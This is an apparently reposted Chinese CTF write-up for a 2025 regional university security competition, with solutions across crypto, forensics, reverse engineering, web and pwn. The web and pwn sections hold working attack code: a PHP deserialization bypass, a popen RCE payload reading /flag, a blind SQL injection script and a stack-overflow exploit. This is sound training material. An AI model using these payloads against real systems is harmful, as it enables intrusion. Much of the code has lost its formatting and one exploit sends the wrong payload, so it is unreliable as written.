文章总结： 这篇文档是2025年全国大学生信息安全竞赛（新疆赛区）的WriteUp，详细介绍了多个CTF题目的解题思路和方法，包括密码学、流量分析、内存取证、逆向工程、Web安全（反序列化、SQL注入、RCE）和二进制漏洞利用等技术方向，提供了具体的解题脚本和flag获取过程。
综合评分： 87
文章分类： CTF,WEB安全,二进制安全,漏洞分析,密码学
【星火之声】第一期：2025年全国大学生信息安全竞赛（新疆赛区）WriteUp
XJUSEC
中学生CTF
2025年12月9日 14:24
山东
❝
本文来自【星火计划】的【星火之声】投稿，来源于
XJUSEC2025 年全国大学生信息安全竞赛（新疆赛区）WriteUp。
Affine
题目考点
- 仿射密码
解题思路
FLAG
flag{b533d73d-e76e-9292-351f-a880e22d2d59}
SomethingHidden
题目考点
利用公钥 (N, e) 和每轮 Alice 返回的 Ac，算：
Hi = Ac^e mod N
构造一个小维度格（lattice），用 LLL 约化，可以从中恢复出那几个 512 位素数 r_i。
解题思路
直接丢给ai：
https://chatgpt.com/share/e/69351fb6-6ec8-8007-8163-b4b2a3fe1d56
https://chatgpt.com/share/e/69351f84-a744-8007-a812-d3ff063f9779
#!/usr/bin/env python3
from hashlib import sha256
from Crypto.Cipher import AES
# ================== 把下面这几块换成你题目里的输出 ==================
# A -> B: (N, e)
N = 29287941964093188883554358759962324766413054938509973020469060324897666596790911417785791718225662909407046748730700393511727164992638859309051914817752161453430071520197806236982668426788996148542614675962835327600646675114044776422291762895540351295488463620830840260895942085590293936010897487443334022180921068879759894357182300863216381540594965567845230665432808496498721899010296008077888600276230436453346416223766922153731558028227295502011211796080344786948543217682991981791223266548648600316048178386585096118093900539239292482498040472725870838971971059537341275594528418355973441717474777281448026845373# TODO: 把题目里 A -> B 那一行里的第一个大整数 N 粘过来
e = 27955266925253148642253678752829183603219107778520606980764762752995571036134821430889656665717477157214005599893648302567419024006700075224145901058864025471376122721606447684082747992022267965241792216735472384680654771240354932987171309705823754809028693606076338867464980753571886581376406114561483162250351593164007074977896197934437555326889625656047853373889179731769563558844917159374790171076366851539889349713510477985229970467404417110370407654250262525961760288684308272656639979945733821040592567089478937570171101226406294152472692793873319781044539193653344814998127081830989348128648490881576398235955# TODO: 把题目里 A -> B 那一行里的第二个大整数 e 粘过来
# 三次 B -> A（RSA 加密的 Bm）
# 也就是你题目里前三个 "B -> A:" 后面的三个大整数
Bc = [
# TODO: 第一次 B -> A 后面的那个大整数
# 例如：3205220......050549
3205220094080592407592828125679505405222175350233807694327159593032969469579539804535020905896745919090265556507179288821213875752712326943938625398874083262608628666420762655582303641231925289465398823744770158764392477253388389480024069287363779774060962366992843006326211329071156343468269190434281421424221587984048575740789112158698868948466566947408953807967713643274889608573354692166180828636721319812054682845978388714126347955276139299995584288733190964976250581524403399583537399029174408442816250678567356095603425069263938872549246059702018186374731429179320660396979172676464090137034199876766815040549,
# TODO: 第二次 B -> A ...
10223665720049500731665673770103917961793186693687648371672171897872352435447003168707921372495448171568308786361270844274614650508367480702414916432634701500942569012336282352568912820462024329259048798831366489477953163885962745990200563709834731868518742507641941828621899056783884909373008325439482906379351126150044191130243110199555815953195410189701922253411950464540623741254828469722487917152632951477621077376226540842930933084730079740736321515593713245055389579335748273149419361624409497735156695920380256756873465619561744004161764910755943356577122675253183293946422864924947394830590760908284180805653,
# TODO: 第三次 B -> A ...
38295886401800770247937208725926281780443425977810381315056059604563712323892215369756043382931918604092036060639406709054651071621090310774115354952282617734839924719863747396452802997833397137971837803315063878192004294473556651925283669552605730995960381204942868510331336686033996535943375343952758789091959462318596236669589726125157492897857522812637457878020275467551375672236923393880594194964453929585538109959704846836439542984266313034272010738296189222642481431068045312778286597586289119135190665002893852930340193114169492386623439934950489147486565869065688389391266191081890052221792059016651759935,
]
# 三次 A -> B（RSAdecrypt(Am + partialkey[-1]) 的结果）
# 也就是你题目里对应的三行 "A -> B:" 后面的三个大整数
Ac = [
# TODO: 第一次 A -> B ...
4831644744350799393765016099396882177026534773569532962146766169148481243322219737516506695852464031849695952207227141415079187438443873384079566512604202776962147357699367571125364213415800582067021480708275284860444744873611933615510520333222572461931300221867821081702084458292525283508482399395833410218592334630954773959254262941692220532586083298023976096784214039362483222310058451221948873959013103817332959309430450412106921677559864731324809944745039703799490755791317245753122131983084501003067118380162680898017587067862940816260310005852375433008408683639088699648954723722337562683163853590166299207882,
# TODO: 第二次 A -> B ...
6022461415472339281836498790278755583726889448623920530347868182630937987521253477126939602533575565331657993511358069473757046630594242611137100942575346645763052742511258016344480503774775023629872360358298995380098714687236835234204193892762002768854579522920204073999133902681913826901342657210771151320309334953071731535713048675285675974744410502359479970589333783354881282915026585051250730890093253822846141777793849657061271396501904548945234830806282646236893655892167888170712944257063558285805501798738399575903576977831532203975392444095534068494054836142511588829555267892072625075416002302243176635324,
# TODO: 第三次 A -> B ...
22997295428814514195091139337373650893365094613018428287375171979263198804955694038921673706847017725112033894298965577877631026760694604442860104769929651081470274609617397037067997884566485822781893833508224191144921037000725886575812219990814743777146135558370440033727198066101727185074410043409716527519221297212798655733539022858296903864363604189024082966485173370094663250147084643430665337682727021661753415715552161602283717204286568751928695603206357216967106479737282869745702423639348584040558580768510604253083698350240121502964676110415110162800693161878015666130229334069872276017309750136299165288207,
]
# 最后一次 B -> A: AES 密文
# 就是题目最后那行形如 b'....' 的 bytes
ct = b'|\x9aN\x16puZq\xb8R\xce\x84G\x06\xb0H\x91\xb4,\xd2\xba|\xac\x91\xbf"\xa7C\n\x82\xad\xa26s- 2\xc9[\xd5>\xa3\x81"t\xd2\x00"'# TODO: 原样粘贴题目里的 bytes
# ================== ACD + LLL 恢复 B.secret ==================
def lll_with_fpylll(mat):
"""
用 fpylll 做一次 LLL 规约, 输入/输出都是普通 Python 整数矩阵 (按行存储).
"""
try:
from fpylll import IntegerMatrix, LLL
except ImportError:
raise SystemExit("[!] 需要先安装 fpylll： pip install fpylll")
A = IntegerMatrix.from_matrix(mat)
# 就地 LLL 规约
LLL.reduction(A)
rows = []
for i in range(A.nrows):
rows.append([int(A[i, j]) for j in range(A.ncols)])
return rows
def recover_secret(xs, rho_bits=512):
"""
已知若干个 x_i = s * r_i + a_i, 其中 |a_i| < 2^rho_bits,
用 Simultaneous Diophantine Approximation 的格子构造恢复公共因子 s.
"""
t = len(xs)
scale = 1 << (rho_bits + 1)
# 构造 SDA 格子:
# [ 2^{rho+1}, x2, x3, ..., xt ]
# [ 0, -x1, 0, ..., 0 ]
# [ 0, 0, -x1, ..., 0 ]
# ...
M = [[0] * t for _ in range(t)]
M[0][0] = scale
for i in range(t - 1):
M[0][i + 1] = xs[i + 1]
M[i + 1][i + 1] = -xs[0]
B = lll_with_fpylll(M)
# 按向量长度从小到大排序，找第一维是 scale 的倍数的短向量
B.sort(key=lambda v: sum(c * c for c in v))
bound = 1 << rho_bits
def good_s(s):
if s <= 1:
returnFalse
for x in xs:
r = x % s
if min(r, s - r) >= bound:
returnFalse
returnTrue
# 试前 50 个短向量（可加大）
for v in B[:50]:
if v[0] % scale != 0:
continue
q1 = abs(v[0] // scale)
if q1 == 0:
continue
# 从 q1 推 s（用近似）
r1 = xs[0] % q1
s_candidate = abs((xs[0] - r1) // q1)
if good_s(s_candidate):
return s_candidate
raise ValueError("[-] ACD 恢复 secret 失败：样本不足或参数/构造不匹配")
def main():
# 1. 先把 Alice 回 Bob 的 Ac “反 RSA 一次”：C^e = (Bm + a) (这里 e 是公钥指数)
xs = [pow(m, e, N) for m in Ac]
print("[*] x_i = B.secret * getPrime(512) + a_i 的三组样本：")
for i, x in enumerate(xs, 1):
print(f" x{i} = {x}\n")
# 2. 用 Approximate GCD + LLL 恢复 B.secret (记作 s)
print("[*] 利用 ACD + LLL 恢复 B.secret ...")
for rb in [480, 496, 512, 528, 544, 560, 576, 640]:
try:
s = recover_secret(xs, rho_bits=rb)
print(f"[+] 用 rho_bits={rb} 成功")
break
except ValueError:
continue
else:
raise ValueError("[-] 所有 rho_bits 候选都失败：样本太少或格子构造不匹配")
print("[+] B.secret =", s)
# 3. 有了 s, 就可以分解出每轮 Alice 选的 a_i (也就是 B.partialkey)
partialkey = []
for x in xs:
# x = s * r + a, 且 |a| << s，因此 r 基本就是 x / s
q = (x + s // 2) // s # 四舍五入
a = x - s * q
if a < 0:
a += s
partialkey.append(int(a))
print("[*] 三段 partial key (= Alice 的三个 getPrime(511))：")
for i, a in enumerate(partialkey, 1):
print(f" a{i} = {a}")
print()
# 4. 和题目一样算 AES key, 然后解密
key = sha256(str(partialkey).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
pt = cipher.decrypt(ct)
print("[+] AES key =", key.hex())
print("[+] 解密得到：", pt)
if __name__ == "__main__":
main()
用solo也可以直接跑出来，trae里面的solo
FLAG
flag{f3b8d3c0-6f52-4b7d-9b9b-3c91ad7b4c42}
yijian霜寒十四州
题目考点
流量分析，文件导出，然后rot13，base64
解题思路
用wireshark 打开流量包，然道出对象HTTP，可以看到有很多的php文件全部看一下，也可以直接看预览，发现有一个php跟其他的php不像
打开看一下
这一段，发现，都不像英文单词，然后应该是有位移
Rot13一下，发现可以看出来是英文单词，可以连成一段话
有一段看着像是base64然后
但是base64直接转不出来，然后看到有转义，然后url decode，但是还是不行，就想到了无损压缩的，就用raw Inflate
FLAG
flag{175374be-4547-f6f6-2232-14d7524d30a5}
dump
题目考点
- Xor
解题思路
这个内存文件不完整，然后不能挂载，也不能使用vol然后直接查看16进制一下
看到这一段有个xor，然后key就是KEY = b”pyt0n_f0rEnsics_y0u_L1Ke_1t!”
然后我们就写个脚本，利用numpy + stride 来做向量化滑动窗口 XOR
然后我们过滤一下flag就行了，
import re
import numpy as np
from numpy.lib.stride_tricks import as_strided
DUMP_FILE = "dUmP.DMP"
KEY = b"pyt0n_f0rEnsics_y0u_L1Ke_1t!"
KEYWORDS = ("flag")
def load_dump(path: str) -> bytes:
with open(path, "rb") as f:
data = f.read()
return data
def detailed_hexdump(data: bytes, start: int, length: int = 0x100) -> None:
end = min(len(data), start + length)
chunk = data[start:end]
for i in range(0, len(chunk), 16):
line = chunk[i:i + 16]
hex_part = " ".join(f"{b:02X}"for b in line)
ascii_part = "".join(chr(b) if32 <= b < 127else"."for b in line)
print(f"{start + i:08X} {hex_part:<48} {ascii_part}")
def find_key_positions(data: bytes, key: bytes):
locs = [m.start() for m in re.finditer(re.escape(key), data)]
return locs
def scan_interesting_windows(data: bytes, key: bytes,
block_win: int = 500_000):
arr = np.frombuffer(data, dtype=np.uint8)
key_arr = np.frombuffer(key, dtype=np.uint8)
k = len(key_arr)
n_bytes = arr.shape[0]
max_start = n_bytes - k + 1
interesting = []
step = max(1, block_win)
for s in range(0, max_start, step):
end = min(max_start, s + block_win)
# 多取 k-1 字节, 保证最后一个窗口长度够 k
chunk = arr[s: end + k - 1]
n = end - s
if n <= 0:
break
# shape = (n, k) 的滑动窗口视图
win = as_strided(
chunk,
shape=(n, k),
strides=(chunk.strides[0], chunk.strides[0])
)
# 对整个窗口矩阵统一 XOR
plain = win ^ key_arr
# 只保留「全可打印 ASCII」的窗口
mask = (plain >= 32) & (plain <= 126)
good_idx = np.where(mask.all(axis=1))[0]
if len(good_idx):
for idx in good_idx.tolist():
offset = s + idx
text = bytes(plain[idx]).decode("ascii", errors="ignore")
# 在这里直接按关键字过滤，避免保存所有窗口
if any(substr in text for substr in KEYWORDS):
interesting.append((offset, text))
return interesting
def extract_flag_from_offset(data: bytes, key: bytes,
offset: int, span: int = 200) -> str:
arr = np.frombuffer(data, dtype=np.uint8)
key_len = len(key)
segment = arr[offset: offset + span]
decoded = bytes(
b ^ key[i % key_len]
for i, b in enumerate(segment)
)
s = decoded.decode("ascii", errors="ignore")
start = s.find("flag{")
end = s.find("}", start)
flag = s[start:end + 1]
return flag
def main():
data = load_dump(DUMP_FILE)
find_key_positions(data, KEY)
interesting = scan_interesting_windows(data, KEY)
for i, (off, txt) in enumerate(interesting[:10]):
print(f" #{i} offset={off}, text={txt!r}")
flag_offset = None
for off, txt in interesting:
if"flag{"in txt:
flag_offset = off
break
flag = extract_flag_from_offset(data, KEY, flag_offset)
print(flag)
main()
FLAG
flag{d1D_y0U_l1KE_tHe_PyTh0n_MEm0rY_f0Rens1Cs}
签到
题目考点
Base64
解题思路
直接cyberchef解码就行了
Flag
flag{ea5777ca-321d-1859-147a-8f758fe726c5}
easyre
题目考点
解题思路
这是一道使用信号处理机制和TEA加密的CTF逆向题。主要技术点：
- 反调试技术 – 信号处理器
- 程序使用 signal(11, Function) 设置SIGSEGV信号处理器
- 故意触发段错误 MEMORY[0] = 0
- 在信号处理器中解密密钥，然后通过 longjmp 跳回主流程
- 密钥解密算法
原始密钥: [0x12345678, 0x9abcdef0, 0xfedcba98, 0x76543210]
解密操作:
- key[0] = 0x12345678 ^ 0xDEADBEEF = 0xcc99e897
- key[1] = 0x9abcdef0 – 0x789ABCDF = 0x22222211
- key[2] = 0xfedcba98 – 0x11223344 = 0xedba8754
- key[3] = 0x76543210 ^ 0xCCDDEEFF = 0xba89dcef
- TEA加密算法
- 程序使用TEA (Tiny Encryption Algorithm) 对输入进行加密
- 加密后的结果与预设值比较来验证flag
- 需要实现TEA解密来还原flag
解题脚本已保存在 solve_main.py，可以直接运行获取flag。
#!/usr/bin/env python3
"""
CTF Reverse Engineering Solution for main.exe
Uses TEA (Tiny Encryption Algorithm) decryption
"""
import struct
def tea_decrypt(v, key, rounds=32):
"""
TEA decryption algorithm
v: list of 2 uint32 values (8 bytes block)
key: list of 4 uint32 values (16 bytes key)
rounds: number of rounds (default 32)
"""
v0, v1 = v[0], v[1]
delta = 0x9E3779B9
sum_val = (delta * rounds) & 0xFFFFFFFF
for _ in range(rounds):
v1 = (v1 - (((v0 << 4) + key[2]) ^ (v0 + sum_val) ^ ((v0 >> 5) + key[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + key[0]) ^ (v1 + sum_val) ^ ((v1 >> 5) + key[1]))) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
return [v0, v1]
def main():
# Original key before decryption (from xmmword_14000A040)
encrypted_key = [0x12345678, 0x9abcdef0, 0xfedcba98, 0x76543210]
# Decrypt the key using the signal handler operations
key = [0, 0, 0, 0]
key[0] = encrypted_key[0] ^ 0xDEADBEEF
key[1] = (encrypted_key[1] - 0x789ABCDF) & 0xFFFFFFFF
key[2] = (encrypted_key[2] - 0x11223344) & 0xFFFFFFFF
key[3] = encrypted_key[3] ^ 0xCCDDEEFF
print(f"Decrypted key: {[hex(k) for k in key]}")
# Target encrypted data (from unk_14000A020)
encrypted_flag = bytes([
0x86, 0x29, 0xc2, 0xe1, 0xc5, 0xdd, 0x9e, 0xd3,
0x4d, 0x48, 0xa1, 0xdf, 0x3c, 0xe5, 0xd4, 0x10,
0xe4, 0x3b, 0x9a, 0xc4, 0x8a, 0xf4, 0xdb, 0x77,
0x29, 0xae, 0xeb, 0xe5, 0x5c, 0xec, 0x9f, 0xe9
])
# Decrypt the flag (32 bytes = 4 blocks of 8 bytes)
flag = bytearray()
for i in range(0, 32, 8):
# Extract 8-byte block as two uint32 values (little-endian)
block = struct.unpack('<II', encrypted_flag[i:i+8])
# Decrypt the block
decrypted_block = tea_decrypt(list(block), key)
# Convert back to bytes
flag.extend(struct.pack('<II', decrypted_block[0], decrypted_block[1]))
# Print the flag
flag_str = flag.decode('ascii', errors='ignore')
print(f"\nDecrypted flag: {flag_str}")
print(f"Flag bytes: {flag.hex()}")
return flag_str
if __name__ == '__main__':
flag = main()
FLAG
flag{s1gn4l_h4ndl3r_1s_tr1cky!!}
tricks_bucket
题目考点
反序列化
解题思路
<?php
class tricksbucket{
public $wakeup=False;
publicfunction __destruct(){
if ($this->wakeup===False) {
echo"You are in";
if (isset($_GET['url'])){
$url = $_GET['url'];
if (strpos($url,"flag")===false || strpos($url,'base64')!==false || strpos($url,'http')!==false) {
exit("no flag , no base , no http");
}
$contents = file_get_contents($_GET['url']);
if (strpos($contents,"flag")!==false) {
exit("contents has flag");
}
if($contents==="get"){
echo"flag{***}";
}
}
}else{
exit("No~ you disturb me");
}
}
publicfunction __wakeup(){
$this->wakeup=True;
}
}
if (isset($_GET['exp'])) {
unserialize($_GET['exp']);
}else{
highlight_file("hint.php");
}
直接丢给ai，可以得到
错误，需要绕过wakeup，试了很久，没找到文章，最后随便试了试
发现当22222222222222222非常大时，就可以了。
exp=O:12:"tricksbucket":22222222222222222:{s:7:"wakeup";b:0;}&url=data://text/plain;flag=1,get
得到flag
FLAG
Loginsimulator
解题思路
依旧丢给ai然后ai给出解题的脚本
import requests
BASE_URL = "url"
def exploit():
# [FIX] 使用双引号 "os" 和 "cat /flag" 避免与服务端 f-string 的单引号冲突
cmd = "cat /flag"
payload = f'127.0.0.1{{__import__("os").popen("{cmd}").read()}}'
print(f"[*] Payload constructed: {payload}")
headers = {
"IP": payload
}
# 1. Poisoning
print("[*] Sending payload to /login...")
s = requests.Session()
s.get(f"{BASE_URL}/login", headers=headers)
if'user'notin s.cookies:
print("[-] Failed to get cookie.")
return
print("[+] Poisoned JWT Cookie obtained.")
# 2. Trigger
print("[*] Triggering RCE at /admin...")
r_admin = s.get(f"{BASE_URL}/admin")
if r_admin.status_code == 200:
print("\n[+] SUCCESS! RCE Output:")
print("=" * 50)
print(r_admin.text) # 结果应该包含 flag
print("=" * 50)
elif r_admin.status_code == 500:
print("[-] Server Error (500). Still a syntax error or execution failure.")
print(f"DEBUG: {r_admin.text}") # 某些配置下 Debug 模式会回显 traceback
else:
print(f"[-] Failed with status: {r_admin.status_code}")
if __name__ == "__main__":
exploit()
Easysql
题目考点
Sql盲注，报错注入
解题思路
这个题目过滤了很多，’，”，,，>，<，substr，ascii，空格很多都被过滤了
然后如果没有过来的话就会有下面的显示
报错就会出现500，然后如果被过滤就会出现fail
上面图片就是过滤了。
这个就是报错的回显
然后构造出下面的语句，来查询数据库，下面回显就是没有查询到
测试出来数据库的名字是feedback
空格用/**/引号就用十六进制
然后编写脚本来注入一下
import requests
url = "http://web-1c92915f9e.challenge.xctf.org.cn/feedback/view"
sum = 0
flag=''
while(1):
sum=sum+1
for j in range(32, 127):
payload=f""
data = {
#"id": f"-1/**/or/**/ord(mid(database()/**/from/**/{sum}/**/for/**/1))/**/like/**/{j}",
#"id":f"-1/**/or/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x666565646261636b/**/limit/**/1)/**/from/**/{y}/**/for/**/1))/**/like/**/{j}"
#"id":f"-1/**/or/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/0x66313131316167/**/limit/**/1)from/**/{y}/**/for/**/1))/**/like/**/{j}#"
"id":f"-1/**/or/**/ord(mid((select/**/flllllllag/**/from/**/f1111ag)from/**/{sum}/**/for/**/1))/**/like/**/{j}"
}
response = requests.post(url=url, data=data)
if"username"in response.text:
flag=flag+chr(j)
print(flag)
FLAG
flag{G4aYhrgZ6l0xCXcF8guna56CdfCROAQM}
Q10
题目考点
Stack
解题思路
这个题目有个循环
可以看到下面这个开了pie保护
我们之前看有main然后main里面有另一个函数我们跟踪一下
发现这里有buf，一般这个就是栈溢出漏洞
然后可以看到这里有个后门函数binsh
from pwn import *
from ctypes import *
from LibcSearcher import *
# p = remote('pss.idss-cn.com',20514)
# # p = remote('192-168-1-40.pvp4566.bugku.cn',9999)
p = remote("pwn-52bc39e871.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF('./main')
# libc = ELF('/home/tankuku/timu/libccccc/2.23-0ubuntu11.3_amd64/libc.so.6')
context.clear(arch='amd64',os = 'linux',log_level = 'debug')
# context.terminal = ['tmux', 'new-window']
context.terminal = ['gnome-terminal', '--geometry=120x50+960+0', '--']
sl(str(300))
payload = b'a'*0x98
s(payload)
ru(payload)
key = u64(r(6).ljust(8, b'\x00'))
addr = key - 0x12cc
bd = addr + 0x11F1
pay = str(200)
sl(pay)
payload2 = payload + p64(bd)
s(payload)
shell()
FLAG
flag{olsdfCLR5RG3NsCkp80Qr0xjPcZ6TZd3}
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：中学生CTF XJUSEC《【星火之声】第一期：2025年全国大学生信息安全竞赛（新疆赛区）WriteUp》